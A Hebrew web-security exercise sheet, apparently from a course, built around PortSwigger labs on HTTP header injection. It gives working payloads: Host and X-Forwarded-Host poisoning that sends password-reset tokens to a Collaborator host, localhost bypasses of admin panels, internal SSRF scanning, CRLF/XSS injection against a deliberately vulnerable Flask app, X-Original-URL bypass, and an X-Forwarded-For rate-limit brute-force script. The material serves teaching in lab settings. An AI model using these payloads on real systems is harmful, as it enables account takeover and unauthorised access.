לדלג לתוכן

הזרקת כותרות - תרגיל

תרגיל 1 - הרעלת איפוס סיסמה

PortSwigger Lab: Basic password reset poisoning

משימות

  1. גשו לאפליקציה ומצאו את פונקציית איפוס הסיסמה
  2. שלחו בקשת איפוס סיסמה רגילה ובדקו את הבקשה ב-Burp
  3. שנו את כותרת ה-Host לכתובת Burp Collaborator:
POST /forgot-password HTTP/1.1
Host: YOUR-COLLABORATOR-ID.oastify.com
Content-Type: application/x-www-form-urlencoded

username=carlos
  1. בדקו ב-Collaborator אם הגיעה בקשה עם ה-token
  2. השתמשו ב-token כדי לאפס את הסיסמה

תרגיל 2 - הרעלת איפוס סיסמה עם כותרות נוספות

PortSwigger Lab: Password reset poisoning via middleware

משימות

  1. גלו ש-Host header רגיל לא עובד
  2. נסו כותרות חלופיות:
X-Forwarded-Host: YOUR-COLLABORATOR.oastify.com
X-Host: YOUR-COLLABORATOR.oastify.com
X-Forwarded-Server: YOUR-COLLABORATOR.oastify.com
Forwarded: host=YOUR-COLLABORATOR.oastify.com
  1. מצאו איזו כותרת עובדת
  2. חלצו את ה-token והשלימו את המעבדה

תרגיל 3 - עקיפת בקרת גישה עם Host Header

PortSwigger Lab: Host header authentication bypass

משימות

  1. מצאו פאנל ניהול חסום
  2. נסו לשנות את ה-Host header ל-localhost:
GET /admin HTTP/1.1
Host: localhost
  1. אם לא עובד, נסו וריאציות:
Host: 127.0.0.1
Host: target.com:80@127.0.0.1
Host: 0.0.0.0
Host: [::1]
  1. גשו לפאנל הניהול ובצעו את הפעולה הנדרשת

תרגיל 4 - SSRF מבוסס Host Header

PortSwigger Lab: Routing-based SSRF

משימות

  1. שלחו בקשה עם Host header שמצביע ל-Collaborator:
GET / HTTP/1.1
Host: YOUR-COLLABORATOR.oastify.com
  1. אם קיבלתם בקשה ב-Collaborator - השרת פגיע ל-routing-based SSRF
  2. סרקו את הרשת הפנימית:
GET / HTTP/1.1
Host: 192.168.0.1

GET / HTTP/1.1
Host: 192.168.0.2
# ... עד 192.168.0.254
  1. מצאו שרת פנימי וגשו לפאנל ניהול

תרגיל 5 - CRLF Injection

משימות

  1. הקימו שרת מקומי פגיע:
from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/set-lang')
def set_lang():
    lang = request.args.get('lang', 'en')
    resp = make_response('Language set')
    resp.headers['X-Language'] = lang  # פגיע!
    return resp
  1. נסו להזריק כותרות:
GET /set-lang?lang=en%0d%0aSet-Cookie:%20admin=true HTTP/1.1
  1. נסו XSS דרך CRLF:
GET /set-lang?lang=en%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
  1. תעדו אילו payloads עבדו ולמה

תרגיל 6 - עקיפת WAF עם X-Original-URL

PortSwigger Lab: URL-based access control can be circumvented

משימות

  1. גשו ל-/admin ואשרו שמקבלים 403
  2. נסו לעקוף עם X-Original-URL:
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
  1. אם עובד, בצעו את הפעולה הניהולית הנדרשת:
GET /?username=carlos HTTP/1.1
Host: target.com
X-Original-URL: /admin/delete

תרגיל 7 - עקיפת Rate Limiting

משימות

  1. מצאו טופס התחברות עם הגבלת קצב
  2. אשרו שאחרי מספר ניסיונות אתם נחסמים
  3. נסו לעקוף עם X-Forwarded-For:
import requests

url = "http://target.com/login"
passwords = ["password", "123456", "admin", "letmein", "welcome"]

for i, pwd in enumerate(passwords):
    headers = {
        "X-Forwarded-For": f"10.0.0.{i+1}"
    }
    data = {
        "username": "admin",
        "password": pwd
    }
    response = requests.post(url, data=data, headers=headers)
    print(f"[{i}] {pwd}: {response.status_code}")
  1. אם עובד - הרחיבו לסקריפט brute force מלא עם רשימת סיסמאות

תרגיל 8 - כל מעבדות PortSwigger

השלימו את כל המעבדות של PortSwigger בנושא Host Header ו-HTTP Request Smuggling:

מעבדות Host Header

  1. Basic password reset poisoning (Apprentice)
  2. Host header authentication bypass (Apprentice)
  3. Web cache poisoning via ambiguous requests (Practitioner)
  4. Routing-based SSRF (Practitioner)
  5. SSRF via flawed request parsing (Practitioner)
  6. Password reset poisoning via middleware (Practitioner)
  7. Password reset poisoning via dangling markup (Practitioner)

לכל מעבדה תעדו

  • את הכותרת/טכניקה שעבדה
  • את ה-payload המלא
  • את התוצאה

אתגר מסכם

תרחיש

מצאתם אפליקציה עם הנקודות הבאות:
- טופס איפוס סיסמה ב-/forgot-password
- פאנל ניהול חסום ב-/admin
- הגבלת קצב על טופס ההתחברות

משימות

  1. נסו הרעלת איפוס סיסמה - נסו את כל וריאציות ה-Host header
  2. נסו לגשת לפאנל הניהול עם Host header שונים ו-X-Original-URL
  3. עקפו את הגבלת הקצב עם X-Forwarded-For
  4. בצעו brute force על סיסמת admin
  5. גשו לפאנל הניהול
  6. כתבו דוח מסכם עם כל הממצאים והמלצות תיקון